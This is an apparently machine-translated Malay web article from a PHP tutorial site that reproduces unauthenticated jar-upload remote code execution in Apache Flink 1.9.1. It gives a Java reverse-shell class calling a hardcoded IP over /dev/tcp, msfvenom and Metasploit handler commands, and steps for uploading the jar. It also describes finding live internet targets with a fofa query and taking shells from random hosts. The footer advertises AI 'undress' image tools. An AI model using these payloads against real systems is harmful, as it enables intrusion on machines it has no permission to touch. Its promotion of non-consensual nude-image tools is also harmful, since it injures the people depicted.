


Contoh analisis pelaksanaan kod jauh yang disebabkan oleh memuat naik sebarang pakej jar dalam apache flink
Perihalan kerentanan:
Pada 11 November 2019, jurutera keselamatan Henry Chen mendedahkan kelemahan yang membolehkan Apache Flink memuat naik pakej balang tanpa kebenaran, yang membawa kepada pelaksanaan kod jauh. Memandangkan Papan Pemuka Apache Flink boleh diakses tanpa pengesahan secara lalai, shell boleh diperolehi dengan memuat naik pakej balang berniat jahat dan mencetuskan pelaksanaan kod berniat jahat.
Skop pengaruh
<= 1.9.1 (versi terkini)
Persediaan persekitaran:
(1) Pasang terlebih dahulu Java yang baik (memerlukan java8 atau lebih tinggi)
(2) Muat turun flink-1.9.1
Alamat muat turun: https://www.apache .org/ dyn/closer.lua/flink/flink-1.9.1/flink-1.9.1-bin-scala_2.11.tgz
(3) Nyahzip pakej termampat yang dimuat turun:
tar -zxf flink-1.9.1-bin-scala_2.11.tgz
( 4) Pergi ke direktori nyahmampat dan pergi ke direktori binnya:
(5) Mulakan kelipan:
./start-cluster.sh
(6) Akses Penyemak Imbas pengesahan (port lalai ialah 8081):
http://172.26.1.108:8081
Gambar di atas muncul dan pembinaannya berjaya.
(7) Sediakan automula semasa but (Saya telah lama bergelut di sini, tetapi saya tidak boleh bangun. Sumber langsung /etc/rc.d/rc.local boleh bermula, tetapi flink tidak akan dimulakan selepas dimulakan semula, dan akhirnya menemui penyelesaian)
Tetapan automula semasa but
Ulangan kerentanan:
Langkah pengeluaran pakej jar:
( 1) Rujuk artikel https://klionsec.github.io/2016/09/27/revese-shell/#menu untuk menggunakan java untuk melantun semula shell
dan ingat untuk mengubah suai ip dan portnya:
Kod:
<p >package shell;public class Revs { <br/> /** * @param args * @throws Exception */ <br/> public static void main(String[] args) throws Exception { <br/> // TODO Auto-generated method stub <br/> Runtime r = Runtime.getRuntime(); <br/> String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/192.168.1.12/9999;<br> cat <&5 | while read line; do $line 2>&5 >&5; done"}; <br> Process p = r.exec(cmd); <br> p.waitFor();<br> }}</p> <p>(2) 利用eclipse将其导出为一个可执行的jar包: a. 点击 File-->Export(导出)</p> <p><img src="/static/imghw/default1.png" data-src="https://img.php.cn/upload/article/000/887/227/168412687669673.jpg" class="lazy" alt="apache flink任意jar包上传导致远程代码执行的示例分析"></p> <p>b. Kemudian pilih java-->Fail JAR boleh dijalankan</p> <p><img src="/static/imghw/default1.png" data-src="https://img.php.cn/upload/article/000/887/227/168412687683044.jpg" class="lazy" alt="apache flink任意jar包上传导致远程代码执行的示例分析"></p> <p>c. Kemudian pilih projek java dan laluan eksport dan nama fail eksport </p> <p><img src="/static/imghw/default1.png" data-src="https://img.php.cn/upload/article/000/887/227/168412687618388.jpg" class="lazy" alt="apache flink任意jar包上传导致远程代码执行的示例分析"></p> <p>Gambar</p> <p>Ini menjana pakej balang untuk shell lantunan</p> <p>msf menjana kuda balang:</p> <p>(1) Gunakan msfvenom untuk jana kuda balang:</p> <pre class="brush:php;toolbar:false">msfvenom -p java/meterpreter/reverse_tcp LHOST=172.26.1.156 LPORT=9999 W >text.jar
(2) Buka modul mendengar msf, dan dengarkan port 9999 (untuk konsisten dengan port yang ditetapkan oleh kuda balang kami)
use exploit/multi/handlerset payload java/meterpreter/reverse_tcpset LHOST 172.26.1.156set LPORT 9999exploit
(3) Selepas memuat naik kuda balang yang kami hasilkan dan menyerahkannya (ini Sila rujuk pembiakan di bawah untuk beberapa operasi Anda boleh melihat bahawa kami berjaya menerima cengkerang:
Penghasilan semula tempatan:
(1) Sasaran Lawati:
(2) Klik Hantar kerja Baharu untuk membuka halaman untuk memuat naik pakej balang:
(3) Klik Tambah Baharu untuk memilih pakej balang yang kami buat:
( 4) Pantau port pada mesin kami (pakej balang yang kami buat terus melantunkan shell)
(5) Klik pada pakej balang yang baru kami muat naik:
(6) Kemudian klik Hantar, anda dapat melihat bahawa kami telah berjaya menerima shell:
Tapak Internet:
kata kunci fofa:
"apache-flink-dashboard" && country="AS"
(1) Cari sasaran rawak:
(2) Klik Hantar Kerja baharu, anda boleh lihat ia membenarkan kami memuat naik pakej balang
(3) Gunakan fungsi flink untuk memuat naik pakej balang untuk memuat naik pakej balang kami:
(4) Selepas memuat naik, kami Pantau port pada vps
(5) Kemudian kembali ke penyemak imbas, pilih pakej balang yang baru kami muat naik, dan klik Serah Anda dapat melihat bahawa vps kami telah berjaya menerima shell
Pembetulan kerentanan:
Adalah disyorkan untuk menetapkan dasar tembok api untuk hanya membenarkan IP senarai putih mengakses perkhidmatan apache flink dan menambahkannya pada proksi web ( seperti apache httpd) Pengesahan ringkasan perkhidmatan.
Sentiasa perhatikan laman web rasmi dan tunggu versi baharu atau kemas kini tampalan
Atas ialah kandungan terperinci Contoh analisis pelaksanaan kod jauh yang disebabkan oleh memuat naik sebarang pakej jar dalam apache flink. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!

Alat AI Hot

Undresser.AI Undress
Apl berkuasa AI untuk mencipta foto bogel yang realistik

AI Clothes Remover
Alat AI dalam talian untuk mengeluarkan pakaian daripada foto.

Undress AI Tool
Gambar buka pakaian secara percuma

Clothoff.io
Penyingkiran pakaian AI

AI Hentai Generator
Menjana ai hentai secara percuma.

Artikel Panas

Alat panas

Notepad++7.3.1
Editor kod yang mudah digunakan dan percuma

SublimeText3 versi Cina
Versi Cina, sangat mudah digunakan

Hantar Studio 13.0.1
Persekitaran pembangunan bersepadu PHP yang berkuasa

Dreamweaver CS6
Alat pembangunan web visual

SublimeText3 versi Mac
Perisian penyuntingan kod peringkat Tuhan (SublimeText3)

Topik panas



Cara mengimport pakej jar ke Eclipse: 1. Buat projek Java baharu 2. Buat folder perpustakaan 3. Salin pakej jar ke folder perpustakaan; membina laluan ; 6. Mengkonfigurasi laluan binaan projek; Pengenalan terperinci: 1. Buat projek Java baharu, mulakan Eclipse IDE, pilih menu "Fail" dalam bar menu atas, dsb.

Langkah-langkah untuk maven untuk mengimport pakej jar: 1. Muat turun pakej jar 2. Buat projek Maven 3. Tambah dependensi 5. Simpan fail pom.xml; 7. Sahkan import. Pengenalan terperinci: 1. Muat turun pakej balang mula-mula muat turun pakej balang yang diperlukan dari tapak web atau gudang kod sumber yang berkaitan Pastikan pakej balang yang dimuat turun serasi dengan projek anda dan memenuhi keperluan versi yang diperlukan . Jika belum ada projek Maven, anda perlu menciptanya dahulu dan seterusnya.

SparkStreaming dan Flink adalah kedua-dua rangka kerja pemprosesan strim dengan ciri berbeza: Model pengaturcaraan: SparkStreaming adalah berdasarkan model SparkRDD, manakala Flink mempunyai API penstriman sendiri. Pengurusan negeri: Flink mempunyai pengurusan keadaan terbina dalam, manakala SparkStreaming memerlukan penyelesaian luaran. Toleransi kesalahan: Flink adalah berdasarkan syot kilat, manakala SparkStreaming adalah berdasarkan pusat pemeriksaan. Kebolehskalaan: Flink adalah berdasarkan rangkaian operator strim, manakala SparkStreaming adalah berdasarkan penskalaan kelompok. Dalam kes penggunaan pengagregatan data masa nyata, Flink secara amnya berprestasi lebih baik daripada SparkStreaming kerana ia memberikan daya pemprosesan yang lebih baik

Dengan kemunculan era data besar, pemprosesan data telah menjadi masalah yang perlu diberi perhatian dan diselesaikan dalam pelbagai industri. Sebagai alat pemprosesan data berprestasi tinggi, kemunculan Flink memberikan kami penyelesaian yang cekap, boleh dipercayai dan berskala. Dalam artikel ini, kami akan memperkenalkan cara menggunakan Flink dalam bahasa Go untuk mencapai pemprosesan aliran data yang cekap. 1. Pengenalan kepada Flink Apache Flink ialah platform pemprosesan data teragih sumber terbuka Matlamatnya adalah untuk menyediakan cara yang cekap, boleh dipercayai dan berskala untuk memproses data berskala besar.

Tajuk: Tutorial Lanjutan Maven: Penerokaan mendalam pelbagai kaedah import pakej Jar Sebagai alat pengurusan projek Java, Maven digunakan secara meluas dalam pembinaan projek, pengurusan pergantungan, dsb. Dalam proses pembangunan sebenar, kami sering menggunakan pakej Jar daripada pelbagai perpustakaan pihak ketiga, dan cara mengimport pakej Jar dengan berkesan telah menjadi kemahiran yang mesti dikuasai. Artikel ini akan menyelidiki kaedah mengimport pakej Jar dalam Maven, termasuk menggunakan pakej Jar tempatan, pakej Jar gudang jauh dan pakej Jar tersuai, dan memberikan butiran khusus.

Panduan penggunaan pakej MySQL Jar dan langkah berjaga-jaga MySQL ialah sistem pengurusan pangkalan data hubungan yang biasa digunakan Banyak projek Java menggunakan MySQL sebagai bahagian belakang untuk penyimpanan data. Dalam projek Java, untuk berinteraksi dengan pangkalan data MySQL, anda perlu menggunakan pemacu Java (iaitu pakej Jar) yang disediakan oleh MySQL. Artikel ini akan memperkenalkan garis panduan penggunaan dan langkah berjaga-jaga untuk pakej MySQL Jar, dan menyediakan contoh kod khusus untuk membantu pembaca menggunakan pemacu MySQL dengan lebih baik. 1. M

Panduan Bermula Maven: Bagaimana untuk mengimport pakej Jar dengan betul? Maven ialah alat pengurusan projek yang berkuasa yang boleh membantu pembangun mengurus kebergantungan projek, membina projek, dsb. Semasa pembangunan projek, kami selalunya perlu mengimport pakej Jar luaran untuk melaksanakan beberapa fungsi. Artikel ini akan memperkenalkan cara menggunakan Maven untuk mengimport pakej Jar dengan betul dan memberikan contoh kod khusus. Pertama, kita perlu menambah kebergantungan pada pakej Jar yang diperlukan dalam fail pom.xml Maven. Dalam pom.xml, terdapat a

Pakej Jar MySQL merujuk kepada pakej pemacu Java yang digunakan untuk menyambung dan mengendalikan pangkalan data MySQL. Dalam pembangunan Java, fungsi interaksi dengan pangkalan data MySQL perlu dilaksanakan melalui pakej Jar. Pakej Jar MySQL menyediakan satu siri kelas dan kaedah yang membolehkan pembangun menyambung dengan mudah ke pangkalan data MySQL, melaksanakan pernyataan SQL, mendapatkan hasil pertanyaan dan operasi lain. Dalam keadaan biasa, pembangun boleh memuat turun pakej MySQL Jar melalui tapak web rasmi atau repositori Maven dan saluran lain, dan kemudian
